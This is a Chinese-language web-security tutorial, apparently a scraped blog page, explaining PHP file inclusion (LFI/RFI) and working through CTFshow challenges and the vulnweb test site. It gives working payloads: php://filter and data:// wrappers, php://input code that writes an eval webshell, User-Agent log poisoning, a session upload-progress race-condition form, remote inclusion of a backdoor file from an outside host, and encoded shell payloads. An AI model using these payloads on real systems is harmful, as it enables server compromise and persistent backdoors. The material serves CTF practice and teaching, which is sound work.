当前位置: 首页 > news >正文

WEB攻防-文件包含LFIRFI伪协议编码算法无文件利用黑白盒

知识点:
1、文件包含-原理&分类&危害-LFI&RFI
2、文件包含-利用-黑白盒&无文件&伪协议
在这里插入图片描述

一、演示案例-文件包含-原理&分类&利用

1、原理

程序开发人员通常会把可重复使用的函数写到单个文件中,在使用某些函数时,直接调用此文件,而无须再次编写,这种调用文件的过程一般被称为文件包含。在包含文件的过程中,如果文件能进行控制,则存储文件包含漏洞。
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

 <?php include "xx.xx";?> 这种是包含指定页面,不存在文件包含漏洞<?php include $_GET[x];?> 这种通过动态变量的传参才存在文件包含漏洞

在这里插入图片描述
在这里插入图片描述

2、分类

本地包含-Local File Include-LFI

(包含的文件都是本地服务器上的,可以包含图片马,敏感文件,日志等等)x.php?x=xx.xx

在这里插入图片描述

远程包含-Remote File Include-RFI(较少)

x.php?x=http://xxxxx/x.xx (要保证php.ini中allow_url_fopen和allow_url_include要为On)

在这里插入图片描述

3、白盒审计

1、可通过应用功能追踪代码定位审计
2、可通过脚本特定函数搜索定位审计
3、可通过伪协议玩法绕过相关修复等
PHP:include、require、include_once、require_once等
include在包含的过程中如果出现错误,会抛出一个警告,程序继续正常运行
require函数出现错误的时候,会直接报错并退出程序的执行
Java:java.io.File、java.io.FileReader等
ASP.NET:System.IO.FileStream、System.IO.StreamReader等

4、黑盒分析

黑盒发现:主要观察参数传递的数据和文件名是否对应
URL中有path、dir、file、page、archive、eng、语言文件等相关字眼

5、利用

无文件就是指目标没有上传点,只能包含服务器已经存在的文件。

思路:
1、配合文件上传(目标有上传点,自己上传一个恶意代码的文件)
2、无文件包含日志(前提:需要知道当前网站存储日志的绝对路径)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
3、无文件包含SESSION(前提:需要知道当前网站存储SESSION文件的绝对路径)
在这里插入图片描述
4、无文件支持伪协议利用
在这里插入图片描述

文件读取

方式一:
file:///etc/passwd

在这里插入图片描述

方式二:
php://filter/read=convert.base64-encode/resource=phpinfo.php

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

文件写入

方式一:
php://filter/write=convert.base64-encode/resource=phpinfo.php  //这个需要代码里接收两个参数才行

在这里插入图片描述

注:131要改为base64编码才行,图里是错误的。
在这里插入图片描述
在这里插入图片描述

方式二:
php://input 
POST:<?php fputs(fopen('shell.php','w'),'<?php @eval($_GET[cmd]); ?>'); ?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

代码执行

方式一:
php://input 
POST:<?php phpinfo();?>

在这里插入图片描述

方式二:
data://text/plain,<?php phpinfo();?>

在这里插入图片描述

方式三:
data://text/plain;base64,PD9waHAgcGhwaW5mbygpOz8%2b

在这里插入图片描述
在这里插入图片描述

远程利用思路

直接搭建一个可访问的远程URL包含文件(不能是脚本文件,其他后缀随意,可包含一句话getshell)
在这里插入图片描述

二、演示案例-文件包含-利用-黑白盒&无文件&伪协议

黑盒利用-VULWEB

http://testphp.vulnweb.com/showimage.php?file=index.php
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

白盒利用-CTFSHOW-伪协议玩法

https://ctf.show/challenges //专门的CTF网站,对新手比较友好

78-php&http协议

在这里插入图片描述

方式一:
payload: ?file=php://filter/read=convert.base64-encode/resource=flag.php

在这里插入图片描述

在这里插入图片描述

方式二:
payload: ?file=php://input 
post:<?php system('tac flag.php');?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
远程1.txt: <?php system('tac flag.php');?> //也可以写一句话木马连上去

在这里插入图片描述
在这里插入图片描述

79-data&http协议

在这里插入图片描述

方式一:
payload: ?file=data://text/plain,<?=system('tac flag.*');?>
方式二:
payload: ?file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgZmxhZy5waHAnKTs/Pg==

在这里插入图片描述
在这里插入图片描述

方式三:
payload: ?file=http://www.xiaodi8.com/1.txt 
1.txt:<?php system('tac flag.php');?>

80 81-日志包含

在这里插入图片描述

1、利用其他协议,如file,zlib等
2、利用日志记录UA特性包含执行
故利用日志记录UA信息,UA带入后门代码或者system代码
包含:/var/log/nginx/access.log

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

82-86-SESSION包含

在这里插入图片描述
利用PHP_SESSION_UPLOAD_PROGRESS进行文件包含
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

session会自动把内容清空,所以要在清空之前利用条件竞争方式触发session里的代码,自定义session名字,条件竞争访问session文件,触发创建新文件。以下表单就是为了创建session文件
<!DOCTYPE html>
<html>
<body>
<form action="http://xxxx.ctf.show/" method="POST" enctype="multipart/form-data"><input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[1])?>'?>" /><input type="file" name="file" /><input type="submit" value="submit" />
</form>
</body>
</html>

在这里插入图片描述
在这里插入图片描述

随便上传一张图片抓取这个数据包,在请求头中添加session名字并进行无限发包
在这里插入图片描述
在这里插入图片描述
同样的,抓取这个路径请求包进行无限发包,从而触发session文件里的php代码
在这里插入图片描述
在这里插入图片描述
然后就会在网站目录下生成一个shell.php文件

87-php://filter/write&加密编码

在这里插入图片描述

1、利用base64:
url编码2次:php://filter/write=convert.base64-decode/resource=123.php 
content=aaPD9waHAgQGV2YWwoJF9QT1NUW2FdKTs/Pg==

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

2、利用凯撒13(类似base64的加密方式):
url编码2次:php://filter/write=string.rot13/resource=2.php
content=<?cuc riny($_CBFG[1]);?>

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

88-data&base64协议

过滤PHP,各种符号,php代码编码写出无符号base64
在这里插入图片描述

Payload:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCd0YWMgKi5waHAnKTtlY2hvIDEyMzs/PmFk

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

117-php://filter/write&新的算法

在这里插入图片描述

代理中并没有过滤php
生成脚本
<?php
$result = iconv("UCS-2LE","UCS-2BE", '<?php eval($_POST[a]);?>');
echo "经过一次反转:".$result."\n";
echo "经过第二次反转:".iconv("UCS-2LE","UCS-2BE", $result);
?>

在这里插入图片描述

与凯撒13加密差不多,只不过换了另外一种方式
Payload:file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=a.php
contents=?<hp pvela$(P_SO[T]a;)>?

在这里插入图片描述
在这里插入图片描述

http://www.lryc.cn/news/581183.html

相关文章:

  • Go语言的web框架--gin
  • NX二次开发——NX二次开发-检查点是否在面上或者体上
  • MyChrome.exe与Selenium联动避坑指南:User Data目录冲突解决方案
  • 一篇文章快速入门TypeScript基础语法
  • 超详细yolov8/11-segment实例分割全流程概述:配置环境、数据标注、训练、验证/预测、onnx部署(c++/python)详解
  • Zigbee/Thread
  • Xshell使用技巧
  • 七牛云前端面试题及参考答案 (上)
  • 2025使用VM虚拟机安装配置Macos苹果系统下Flutter开发环境保姆级教程--下篇
  • C语言socket编程-补充
  • 测试时学习(TTT):打破传统推理界限的动态学习革命
  • vue router 里push方法重写为什么要重绑定this
  • JVM与JMM
  • RAL-2025 | 清华大学数字孪生驱动的机器人视觉导航!VR-Robo:面向视觉机器人导航与运动的现实-模拟-现实框架
  • rpgmaker android js常用属性解析
  • UI前端大数据可视化实战:如何设计高效的数据交互界面?
  • FLAN-T5:规模化指令微调的语言模型
  • 职坐标:AI图像识别NLP推荐算法实战
  • 【学习笔记】MySQL技术内幕InnoDB存储引擎——第5章 索引与算法
  • 针对工业触摸屏维修的系统指南和资源获取途径
  • Spring Bean 控制销毁顺序的方法总结
  • 408第三季part2 - 计算机网络 - 计算机网络分层结构
  • 【性能优化与架构调优(二)】高性能数据库设计与优化
  • 从零开始开发纯血鸿蒙应用之探析仓颉语言与ArkTS的差异
  • 深入理解Qt的SetWindowsFlags函数
  • Eureka、Nacos、LoadBalance、OpenFeign​之间的区别联系和协作 (附代码讲解)
  • ROS 的 move_base 模块介绍
  • 爬虫-web请求全过程
  • vs2010怎么做网站/网络事件营销
  • 怎么学习做网站/购买友情链接网站